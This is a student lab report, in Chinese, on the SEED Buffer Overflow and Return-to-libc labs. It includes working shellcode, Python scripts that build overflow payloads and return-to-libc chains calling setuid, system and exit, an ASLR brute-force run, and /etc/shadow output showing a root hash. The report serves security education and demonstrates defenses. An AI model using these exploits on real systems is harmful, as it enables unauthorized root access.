Lab2-report

Buffer Overflow Vulnerability Lab

Name:范心宇

Student Number:57117129

Preparation

1. 关闭随机化地址空间

```
[09/04/20]seed@VM:~/.../chapter1$ sudo sysctl -w kernel.randomize_
va_space=0
kernel.randomize_va_space = 0
```

2. 重编译/bin/sh

```
[09/04/20]seed@VM:~/.../chapter1$ sudo ln -sf /bin/zsh /bin/sh
[09/04/20]seed@VM:~/.../chapter1$
```

Task 1: Running Shellcode

◆ 实验目的

熟悉 shellcode 程序，它可以加载 shell，是我们利用缓冲区溢出漏洞和 Set-UID 特权程序最终需要调用的代码段，利用 Set-UID 程序的 root 权限可以在 shell 中执行任何命令，从而发起攻击。

◆ 实验过程

创建，编译并运行 call_shellcode.c 程序：

```
[09/04/20]seed@VM:~/.../chapter1$ touch call_shellcode.c
[09/04/20]seed@VM:~/.../chapter1$ vi call_shellcode.c
[09/04/20]seed@VM:~/.../chapter1$ gcc -z execstack -o call_shellco
de call_shellcode.c
[09/04/20]seed@VM:~/.../chapter1$ ./call_shellcode
$ ls
badfile           peda-session-stack_dbg.txt  stack.c
call_shellcode    shellcode.c                 stack_dbg
call_shellcode.c  stack
```

call_shellcode 程序成功打开了一个 shell 界面，可以在其中执行命令。

◆ 实验结论

我们将 shellcode 编译后的汇编代码存入 buf，再强制转换成函数执行，可以看到能够成功加载出 shell 界面。

Task 2: Exploiting the Vulnerability

◆ 实验目的

已知一个存在缓冲区漏洞的程序，编写一个可以利用该漏洞的程序。

◆ 实验过程

1. 创建、编译存在缓冲区漏洞的 stack.c 程序，并将其设为 Set-UID 程序。

```
[09/04/20]seed@VM:~/.../chapter1$ touch stack.c
[09/04/20]seed@VM:~/.../chapter1$ vi stack.c
[09/04/20]seed@VM:~/.../chapter1$ gcc -o stack -z execstack -fno-s
tack-protector stack.c
[09/04/20]seed@VM:~/.../chapter1$ sudo chown root stack
[09/04/20]seed@VM:~/.../chapter1$ sudo chmod 4755 stack
```

2. 通过 gdb 找到 stack.c 程序中 bof 函数的 buffer 基址距其 ebp 的距离。

```
[09/04/20]seed@VM:~/.../chapter1$ gcc -z execstack -fno-stack-prot
ector -g -o stack_dbg stack.c
[09/04/20]seed@VM:~/.../chapter1$ touch badfile
[09/04/20]seed@VM:~/.../chapter1$ gdb stack_dbg
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
```

在 bof 函数调用处设置断点后运行：

```
gdb-peda$ break bof
Breakpoint 1 at 0x80484f1: file stack.c, line 13.
gdb-peda$ run
Starting program: /home/seed/Experiment/chapter1/stack_dbg
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.
so.1".
```

查看 ebp 和 buffer 基址的数值，并计算其距离：

```
gdb-peda$ print $ebp
$1 = (void *) 0xbfffe9f8
gdb-peda$ print &buffer
$2 = (char (*)[24]) 0xbfffe9d8
gdb-peda$ p/d 0xbfffe9f8 - 0xbfffe9d8
$3 = 32
```

ebp 值为 0xbfffe9f8，buffer 基址为 0xbfffe9d8，两者间距离为 32bytes，则 return address 保存于 0xbfffe9f8 + 4 = 0xbfffe9fc 地址处。

3. 编写 exploit.py 函数。

新的 return address 设为 ebp+150，距 buffer 基址的偏移量为 32 + 4 = 36：

```
# Fill the content with NOP's
content = bytearrary(0x90 for i in range(517))

# Put the shellcode at the end
start = 517 - len(shellcode)
content[start:] = shellcode

# Set the new return address
ret =  0xbfffe9f8 + 150
offset = 36

# Fill the return address field with the address of the shellcode
content[offset:offset + 4] = (ret).to_bytes(4, byteorder='little')

# Write the content to badfile
with open('badfile', 'wb') as f:
    f.write(content)
```

4. 运行 exploit.py 创建 badfile，再运行./stack 程序。

```
[09/04/20]seed@VM:~/.../chapter1$ chmod u+x exploit.py
[09/04/20]seed@VM:~/.../chapter1$ rm badfile
[09/04/20]seed@VM:~/.../chapter1$ exploit.py
[09/04/20]seed@VM:~/.../chapter1$ ./stack
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm
),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambasha
re)
#
```

此时可以看到./stack 程序确实打开了一个具有 root 权限的 bash,输入[id]命令可以看到 real uid 还是 seed 用户，而 effective uid 则是 root 用户。

◆ 实验结论

本实验我们成功利用缓冲区溢出漏洞写入自己的代码，调用出 root 权限的 shell 界面。首先 stack 程序中调用了 strcpy()函数，由于其不检查复制的字符串大小，仅仅凭借“/0”结束符判断复制是否结束，因而存在缓冲区溢出漏洞；然后通过 gdb 调试 stack 程序，找出调用 bof 函数时 ebp 的地址与 buffer 缓冲区的地址，计算差值，找到 return address 的地址；在写入缓冲区的数据中覆盖 return address 的位置写入新的返回地址，指向填充的 NOP 函数，可以一路跳到我们的 malicious code 位置。执行 code，可以看到成功加载出 shell 界面，且由于是 Set-UID 程序的调用，可以执行 root 用户操作。

Task 3: Defeating dash's Countermeasure

◆ 实验目的

在 Ubuntu 16.04 系统中，dash shell 针对 Set-UID 程序可能发生的特权滥用设置了反制措施，当检测到 effective UID 不等于 real UID 时，dash 会降权。

◆ 实验过程

1. 修改 shell，使其连接到/bin/dash。

```
[09/04/20]seed@VM:~/.../chapter1$ sudo ln -sf /bin/dash /bin/sh
[09/04/20]seed@VM:~/.../chapter1$ _
```

2. 创建 dash_shell_test.c 程序并进行测试。

注释掉 setuid(0)，编译，设为 Set-UID 程序，运行：

```
//setuid(0);
execve("/bin/sh", argv, NULL);
```

```
[09/04/20]seed@VM:~/.../chapter1$ gcc -o dash_shell_test dash_shel
l_test.c
[09/04/20]seed@VM:~/.../chapter1$ sudo chown root dash_shell_test
[09/04/20]seed@VM:~/.../chapter1$ sudo chmod 4755 dash_shell_test
[09/04/20]seed@VM:~/.../chapter1$ ./dash_shell_test
$ cat /etc/shadow
cat: /etc/shadow: Permission denied
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),2
7(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
```

可以看到，此时运行的 shell 界面只具有 seed 普通用户的权限，无法进行 root 用户的操作。

添加 setuid(0)，编译，设为 Set-UID 程序，运行：

```
setuid(0);
execve("/bin/sh", argv, NULL);
```

```
[09/04/20]seed@VM:~/.../chapter1$ vi dash_shell_test.c
[09/04/20]seed@VM:~/.../chapter1$ gcc -o dash_shell_test dash_shel
l_test.c
[09/04/20]seed@VM:~/.../chapter1$ sudo chown root dash_shell_test
[09/04/20]seed@VM:~/.../chapter1$ sudo chmod 4755 dash_shell_test
[09/04/20]seed@VM:~/.../chapter1$ ./dash_shell_test
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(s
udo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
# cat /etc/shadow
root:$6$NrF46O1p$.vDnKEtVFC2bXslxkRuT4FcBqPpxLqW05IoECr0XKzEEO5wj8
aU3GRHW2BaodUn4K3vgyEjwPspr/kqzAqtcu.:17400:0:99999:7:::
```

现在运行的 shell 界面拥有 root 用户的权限了。

3. 将 setuid(0)语句添加到 exploit.py 程序中再运行 stack，观察用户权限。

```
shellcode = (
  "\x31\xc0"
  "\x31\xdb"
  "\xb0\xd5"
  "\xcd\x80"

  "\x31\xc0"
  "\x50"
  "\x68""//sh"
  "\x68""/bin"
  "\x89\xe3"
  "\x50"
  "\x53"
  "\x89\xe1"
  "\x99"
  "\xb0\x0b"
  "\xcd\x80"
  "\x00"
).encode('latin-1')
```

```
[09/04/20]seed@VM:~/.../chapter1$ vi exploit.py
[09/04/20]seed@VM:~/.../chapter1$ exploit.py
[09/04/20]seed@VM:~/.../chapter1$ ./stack
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(s
udo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
#
```

可以成功进入 root 用户的 bash 界面。

◆ 实验结论

从上面的实验中可以看到 setuid(0)对 Set-UID 程序的影响：不添加该语句时，由于 effective uid 与 real uid 不等，bash 不会给 Set-UID 程序 root 用户的权限；而加上该语句后，等于将当前记录的 real uid 修改为 root id，与 effective uid 相等，则 Set-UID 程序可以在 bash 中行使 root 权限。

Task 4: Defeating Address Randomization

◆ 实验目的

针对随机选择栈地址这一可以防范缓冲区溢出漏洞威胁的对策，本实验尝试使用暴力破解法解决它。

◆ 实验过程

1. 重新加上随机地址的栈保护措施，再运行前面的程序。

```
[09/04/20]seed@VM:~/.../chapter1$ sudo /sbin/sysctl -w kernel.rand
omize_va_space=2
kernel.randomize_va_space = 2
[09/04/20]seed@VM:~/.../chapter1$ exploit.py
[09/04/20]seed@VM:~/.../chapter1$ ./stack
Segmentation fault
```

可以看到执行后发生数据段错误，说明栈的地址发生了变化，return address 被覆盖后新的地址不再能跳到可以执行代码的位置。

2. 编写 defeat_addr_random.py 程序并运行。

```
./defeat_addr_random.py: line 15: 10050 Segmentation fault      ./
stack
4 minutes and 21 seconds elapsed.
The program has been running 101029 times so far.
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(s
udo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
```

该程序反复执行漏洞程序，直到选择的新返回地址刚好能够转到 shellcode 前面的 NOP 区域。最终共历时 4 分 21 秒，执行 101029 次后，成功破解该漏洞程序，加载出 root 权限的 shell 界面。

◆ 实验结论

针对随机选取栈开始地址的防御对策，采用暴力破解的方法。使用其中某一次程序编译的栈地址信息编写 shellcode，不断重复执行漏洞程序，总有再次使用该栈地址空间的时候，这时候就可以成功运行 shellcode 调用 shell 界面。

Task 5: Turn on the StackGuard Protection

◆ 实验目的

Linux 系统还提供有 Stack Guard 保护措施，本实验探究 Stack Guard 保护措

施对存在缓冲区溢出情况的漏洞程序的影响。

◆ 实验过程

1. 首先关闭随机选择栈地址的防御措施。

```
[09/04/20]seed@VM:~/.../chapter1$ sudo sysctl -w kernel.randomize_
va_space=0
kernel.randomize_va_space = 0
```

2. 添加 Stack Guard Protection，重新编译与运行漏洞程序 stack.c。

```
[09/04/20]seed@VM:~/.../chapter1$ gcc -o stack -z execstack stack.
c
[09/04/20]seed@VM:~/.../chapter1$ ./stack
*** stack smashing detected ***: ./stack terminated
Aborted
```

去掉-fno-stack-protector 重新编译后再运行，可以发现出现了 stack smashing detected 的错误，./stack 程序终止运行。

◆ 实验结论

Stack Guard 保护措施由编译器提供，它会在程序中用到栈缓冲区的数组变量前添加一个整型变量 guard，在写缓冲区之前先给 guard 赋值，写缓冲区后检查该变量的值是否改变，以此来判断是否存在缓冲区溢出，用户数据覆盖 return address 的情况。由于我们覆盖掉了 buffer 数组高位的更多数据，改变了 guard 的数值，所以程序直接退出了执行。

Task 6: Turn on the Non-executable Stack Protection

◆ 实验目的

硬件方面可以通过设定不可执行栈空间来防止在漏洞程序的栈中执行 shellcode 获取 root 权限，本实验探究不可执行栈空间对我们发起的攻击的影响。

◆ 实验过程

打开 Non-executable Stack Protection，重新编译与运行 stack.c 程序：

```
[09/04/20]seed@VM:~/.../chapter1$ gcc -o stack -fno-stack-protecto
r -z noexecstack stack.c
[09/04/20]seed@VM:~/.../chapter1$ ./stack
Segmentation fault
```

可以看到出现了 segmentation fault 错误，这是因为现在 stack 空间已经不能执行代码了，而我们在其中写入了可执行数据。

◆ 实验结论

设置不可执行栈空间后，原先的攻击不再有效，这是因为 shellcode 执行代码写在 stack 缓冲区中，现在 stack 无法执行就会产生数据段错误。

Return-to-libc Attack Lab

Task 1: Finding out the addresses of libc functions

◆ 实验目的

在 Linux 系统中，关闭随机地址选取功能，同一个程序往往会加载到内存中同一个地方，本实验利用这一点查找漏洞程序加载后库函数 system()和 exit()的加载地址。

◆ 实验过程

1. 配置环境条件，创建、编译漏洞程序 retlib.c，并设为 Set-UID 程序。

```
[09/04/20]seed@VM:~/.../chapter1$ sudo ln -sf /bin/zsh /bin/sh
[09/04/20]seed@VM:~/.../chapter1$ sudo sysctl -w kernel.randomize_
va_space=0
kernel.randomize_va_space = 0
[09/04/20]seed@VM:~/.../chapter1$ touch retlib.c
[09/04/20]seed@VM:~/.../chapter1$ vi retlib.c
[09/04/20]seed@VM:~/.../chapter1$ gcc -DBUF_SIZE=150 -fno-stack-pr
otector -z noexecstack -o retlib retlib.c
[09/04/20]seed@VM:~/.../chapter1$ sudo chown root retlib
[09/04/20]seed@VM:~/.../chapter1$ sudo chmod 4755 retlib
```

2. 使用 gdb 调试 retlib 程序，找到 system()与 exit()加载到内存后的地址。

```
[09/04/20]seed@VM:~/.../chapter1$ touch badfile
[09/04/20]seed@VM:~/.../chapter1$ gdb -q retlib
Reading symbols from retlib...(no debugging symbols found)...done.
gdb-peda$ run
Starting program: /home/seed/Experiment/chapter1/retlib
Returned Properly
[Inferior 1 (process 2336) exited with code 01]
Warning: not running or target is remote
gdb-peda$ print system
$1 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>
gdb-peda$ print exit
$2 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
gdb-peda$ quit
```

可以看到在本机系统中加载 retlib 程序后，system()函数位于 0xb7e42da0 地址处，exit()函数位于 0xb7e369d0 地址处。

◆ 实验结论

因为在 Linux 系统中，关闭 address randomize 后同一个程序往往被加载到同一个内存块，其调用的动态链接库地址也不会变化，利用这一点，使用 gdb 运行程序时可以查看操作系统将 system()与 exit()函数加载到了哪个内存地址处。

Task 2: Putting the shell string in the memory

◆ 实验目的

我们调用 system()函数的最终目的是执行“/bin/sh”命令，从而获得 root 权限的 shell 界面，那么我们需要将“/bin/sh”字符串指针作为参数传递给 system()函数，本实验目的就是找到内存中“/bin/sh”字符串的地址。

◆ 实验过程

1. 通过设定 shell variable，将“/bin/sh”字符串传递给子进程环境。

```
[09/04/20]seed@VM:~/.../chapter1$ export MYSHELL=/bin/sh
[09/04/20]seed@VM:~/.../chapter1$ printenv MYSHELL
/bin/sh
```

2. 编写代码查看“/bin/sh”字符串的地址。

```
#include <stdio.h>
#include <stdlib.h>

void main()
{
    char *shell = getenv("MYSHELL");
    if(shell){
        printf("value:   %s\n", shell);
        printf("address: %x\n", (unsigned int)shell);
    }
}
```

```
[09/04/20]seed@VM:~/.../chapter1$ touch envaddr.c
[09/04/20]seed@VM:~/.../chapter1$ vi envaddr.c
[09/04/20]seed@VM:~/.../chapter1$ gcc -o envaddr envaddr.c
[09/04/20]seed@VM:~/.../chapter1$ ./envaddr
value:   /bin/sh
address: bffffdd4
```

可以看到 shell 变量 MYSHELL 确实被传递给了子进程作为环境变量，其存储地址为 0xbffffdd4。

3. 修改程序名观察 MYSHELL 地址值的变化。

```
[09/04/20]seed@VM:~/.../chapter1$ gcc -o envaddr envaddr.c
[09/04/20]seed@VM:~/.../chapter1$ ./envaddr
value:   /bin/sh
address: bfffdd4
[09/04/20]seed@VM:~/.../chapter1$ gcc -o envtest envaddr.c
[09/04/20]seed@VM:~/.../chapter1$ ./envtest
value:   /bin/sh
address: bfffdd4
[09/04/20]seed@VM:~/.../chapter1$ gcc -o envadd envaddr.c
[09/04/20]seed@VM:~/.../chapter1$ ./envadd
value:   /bin/sh
address: bfffdd6
```

可以看到，当程序名长度发生改变时环境变量 MYSHELL 的保存地址也发生了变化。

◆ 实验结论

通过在 shell 中设置 shell variable，可以将其传递给 shell 调用的子进程作为 environment variable，那么在 shell 中执行的命令与程序都将继承该变量。利用这一点，将“/bin/sh”字符串作为自设的环境变量传递给漏洞程序，保存在其栈中，找到地址，为后续的 system()函数调用提供参数。但需要注意的是，因为程序名的不同，MYSHELL 环境变量保存的地址也可能发生变化。

Task 3: Exploiting the buffer-overflow vulnerability

◆ 实验目的

我们已有了存在缓冲区溢出漏洞的程序，本实验的目的是编写能够利用该漏洞的代码，写入 badfile 中运行。

◆ 实验过程

1. 使用上面栈溢出漏洞攻击的方法，找到 ebp 和 buffer 基地址。

```
[09/05/20]seed@VM:~/.../chapter1$ gcc -DBUF_SIZE=150 -z noexecstac
k -fno-stack-protector -g -o retlib_dbg retlib.c
[09/05/20]seed@VM:~/.../chapter1$ gdb retlib_dbg
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
```

```
gdb-peda$ print $ebp
$1 = (void *) 0xbfffe918
gdb-peda$ print &buffer
$2 = (char (*)[150]) 0xbfffe87a
gdb-peda$ p/d 0xbfffe918 - 0xbfffe87a
$3 = 158
```

可以看到 ebp 的值为 0xbfffe918，buffer 基地址为 0xbfffe87a，两者距离为 158bytes。

2. 补完 python 程序。

```
#!/usr/bin/python3
import sys

#Fill content with non-zero values
content = bytearray(0xaa for i in range(300))


sh_addr = 0xbffffdd6
content[170:174] = (sh_addr).to_bytes(4, byteorder='little')

system_addr = 0xb7e42da0
content[162:166] = (system_addr).to_bytes(4, byteorder='little')

exit_addr = 0xb7e369d0
content[166:170] = (exit_addr).to_bytes(4, byteorder='little')

#Save content to file
with open("badfile", "wb") as f:
    f.write(content)
```

其中，“/bin/sh”字符串地址采用与 retlib 程序名长度相同的 envadd 获得的地址 0xbffffdd6，system()函数地址为上面给出的 0xb7e42da0，exit()函数地址为上面给出的 0xb7e369d0。“/bin/sh”字符串地址作为 system()函数的参数应保存在 ebp 高 12 个字节处，即距离 buffer 基址 158 + 12 = 170 字节。system()函数地址即保存在原 return address 处，即距离 buffer 基址 158 + 4 = 162 字节。exit()函数地址保存在调用 system()后的 return address 处，即距离 buffer 基址 158 + 8 = 166 字节。

3. 运行 exp.py 程序，写入 badfile，再执行漏洞程序 retlib。

```
[09/05/20]seed@VM:~/.../chapter1$ chmod u+x exp.py
[09/05/20]seed@VM:~/.../chapter1$ exp.py
[09/05/20]seed@VM:~/.../chapter1$ ./retlib
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm
),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambasha
re)
# cat /etc/shadow
root:$6$NrF46O1p$.vDnKEtVFC2bXslxkRuT4FcBqPpxLqW05IoECr0XKzEEO5wj8
aU3GRHW2BaodUn4K3vgyEjwPspr/kqzAqtcu.:17400:0:99999:7:::
```

成功利用了缓冲区溢出漏洞，调用出具有 root 权限的 shell 界面。

4. 去掉 exit()函数再执行。

```
system_addr = 0xb7e42da0
content[162:166] = (system_addr).to_bytes(4, byteorder='little')

#exit_addr = 0xb7e369d0
#content[166:170] = (exit_addr).to_bytes(4, byteorder='little')

#Save content to file
with open("badfile", "wb") as f:
    f.write(content)
```

```
[09/05/20]seed@VM:~/.../chapter1$ exp.py
[09/05/20]seed@VM:~/.../chapter1$ ./retlib
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm
),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambasha
re)
```

可以看到仍能够成功执行。

5. 修改 retlib 程序名后再执行。

```
[09/05/20]seed@VM:~/.../chapter1$ mv retlib newretlib
[09/05/20]seed@VM:~/.../chapter1$ ./newretlib
zsh:1: command not found: h
Segmentation fault
```

此时执行失败，这是因为程序名的长度影响环境变量的存储地址，“/bin/sh”字符串的地址发生了改变，system()执行失败。

◆ 实验结论

通过编写 exp.py 程序对 badfile 写入合适的内容，成功利用了 retlib 程序的缓冲区溢出漏洞。尽管此时的栈不可被执行，但我们通过覆盖 return address 让其跳转执行内存中加载的动态库系统函数 system()，并设置其需要的参数“/bin/sh”，而成功地进行了攻击。其中，去掉 exit()函数后仍能够成功完成攻击，但修改程序名后则会失败。

Task 4: Turning on address randomization

◆ 实验目的

在 address randomize 保护下再次进行攻击，观察攻击结果，分析是哪些地址发生了变化导致攻击失败。

◆ 实验过程

1. 打开随机栈地址选取保护机制，再运行漏洞程序 retlib。

```
[09/05/20]seed@VM:~/.../chapter1$ sudo sysctl -w kernel.randomize_
va_space=2
kernel.randomize_va_space = 2
[09/05/20]seed@VM:~/.../chapter1$ ./retlib
Segmentation fault
```

可以看到此时攻击失败，说明 badfile 中有些地址不再正确。

2. 使用 gdb 调试 retlib 程序。

打开 address randomization 机制：

```
gdb-peda$ show disable-randomization
Disabling randomization of debuggee's virtual address space is on.
gdb-peda$ set disable-randomization off
```

运行到 bof 函数前查看 ebp 与 buffer 基地址信息：

```
gdb-peda$ print $ebp
$4 = (void *) 0xbff727e8
gdb-peda$ print &buffer
$5 = (char (*)[150]) 0xbff7274a
gdb-peda$ p/d 0xbff727e8 - 0xbff7274a
$6 = 158
```

与先前进行比较：

```
gdb-peda$ print $ebp
$1 = (void *) 0xbfffe918
gdb-peda$ print &buffer
$2 = (char (*)[150]) 0xbfffe87a
gdb-peda$ p/d 0xbfffe918 - 0xbfffe87a
$3 = 158
```

可以看到 ebp 和 buffer 的地址都发生了变化，但是两者间的相对距离并没有改变。因此“/bin/sh”字符串指针作为参数填入的地址、system()函数指针放置的地址以及 exit()函数指针放置的地址，由于都是相对地址，所以都没有问题。

运行完后查看 system()与 exit()函数地址：

```
gdb-peda$ print system
$7 = {<text variable, no debug info>} 0xb7512da0 <__libc_system>
gdb-peda$ print exit
$8 = {<text variable, no debug info>} 0xb75069d0 <  GI exit>
```

与先前进行比较：

```
gdb-peda$ print system
$1 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>
gdb-peda$ print exit
$2 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
gdb-peda$ quit
```

可以看到两个函数的地址都发生了变化，这是因为 address randomization 机制会随机选择函数库加载地址，那么 system()与 exit()函数地址现在已经不正确了。

3. 执行 envadd 打印 MYSHELL=/bin/sh 的地址。

```
[09/05/20]seed@VM:~/.../chapter1$ gcc -o envadd envaddr.c
[09/05/20]seed@VM:~/.../chapter1$ ./envadd
value:   /bin/sh
address: bf9bddd6
```

与先前进行比较：

```
[09/04/20]seed@VM:~/.../chapter1$ gcc -o envadd envaddr.c
[09/04/20]seed@VM:~/.../chapter1$ ./envadd
value:   /bin/sh
address: bffffdd6
```

可以看到 MYSHELL 环境变量的地址也发生了改变，即“/bin/sh”字符串保存地址现在也已经不正确。

◆ 实验结论

根据上述实验可以看到，address randomization 主要影响的是绝对地址，而不会影响相对地址，“/bin/sh”指针参数、system()函数地址、exit()函数地址覆盖到栈中的地址都没有出错，这是因为使用了相对于缓冲区 buffer 基址的相对地址，但是“/bin/sh”指针地址、system()函数地址、exit()函数地址本身出现了错误，这是因为记录的是他们在内存中的绝对地址，而绝对地址已经随随机地址选取机制而发生改变。

Task 5: Defeat Shell’s countermeasure

◆ 实验目的

根据/bin/dash 保护机制，EUID 与 RUID 不相等的程序无法在其中获得 root 特权，本实验的目的是增加 setuid(0)来修改漏洞进程的 UID，以获得 bash 特权。

◆ 实验过程

1. 关闭上一个实验的 address randomization 保护机制，将/bin/sh 连接回/bin/bash。

```
[09/05/20]seed@VM:~/.../chapter1$ sudo sysctl -w kernel.randomize_
va_space=0
kernel.randomize_va_space = 0
[09/05/20]seed@VM:~/.../chapter1$ sudo ln -sf /bin/dash /bin/sh
```

2. 执行 retlib 观察结果。

```
[09/05/20]seed@VM:~/.../chapter1$ ./retlib
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),2
7(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
```

现在运行 retlib 程序只能调出普通用户权限的 shell 界面。

3. 重新获取数据。

通过 gdb 调试获得 ebp 及 buffer 基地址：

```
gdb-peda$ print $ebp
$1 = (void *) 0xbfffe918
gdb-peda$ print &buffer
$2 = (char (*)[150]) 0xbfffe87a
gdb-peda$ p/d 0xbfffe918 - 0xbfffe87a
$3 = 158
```

通过 gdb 调试获取 system(), exit()与 setuid()函数地址：

```
gdb-peda$ print system
$1 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>
gdb-peda$ print setuid
$2 = {<text variable, no debug info>} 0xb7eb9170 <__setuid>
gdb-peda$ print exit
$3 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
```

通过 envadd 获得“/bin/sh”字符串地址：

```
[09/05/20]seed@VM:~/.../chapter1$ gcc -o envadd envaddr.c
[09/05/20]seed@VM:~/.../chapter1$ ./envadd
value:   /bin/sh
address: bffffdd6
```

4. 重新编写 exp.py 程序，命名为 expl.py。

```
#!/usr/bin/python3
import sys

#Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

uid_para = 0x00000000
content[170:174] = (uid_para).to_bytes(4, byteorder='little')

setuid_addr = 0xb7eb9170
content[162:166] = (setuid_addr).to_bytes(4, byteorder='little')

sh_addr = 0xbffffdd6
content[174:178] = (sh_addr).to_bytes(4, byteorder='little')

system_addr = 0xb7e42da0
content[166:170] = (system_addr).to_bytes(4, byteorder='little')

#exit_addr = 0xb7e369d0
#content[166:170] = (exit_addr).to_bytes(4, byteorder='little')

#Save content to file
with open("badfile", "wb") as f:
    f.write(content)
```

参数设置为：原先的 return address (buffer + 162)修改为 setuid()函数地址，接着(buffer + 166)放置 system()函数地址，(buffer + 170)放置 setuid()函数的参数 0，(buffer + 174)放置 system()函数的参数“/bin/sh”字符串指针。

5.执行 expl.py 后，运行 retlib 程序。

```
[09/05/20]seed@VM:~/.../chapter1$ expl.py
[09/05/20]seed@VM:~/.../chapter1$ ./retlib
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(s
udo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
```

可以看到成功调用了具有 root 权限的 bash 界面，且 uid 变成了 0，即该程序运行者成为了 root 用户。

◆ 实验结论

使用 setuid(0)语句可以将进程的 EUID 和 RUID 都设为 0，即成为 root 用户，从而可以在 bash 界面中获得 root 权限。由于加入了 setuid(0)语句，必须执行的

命令有 setuid(0)以及 system(“/bin/sh”)，两条带参命令再连接其他命令很复杂，所以在这里省略了 exit()命令。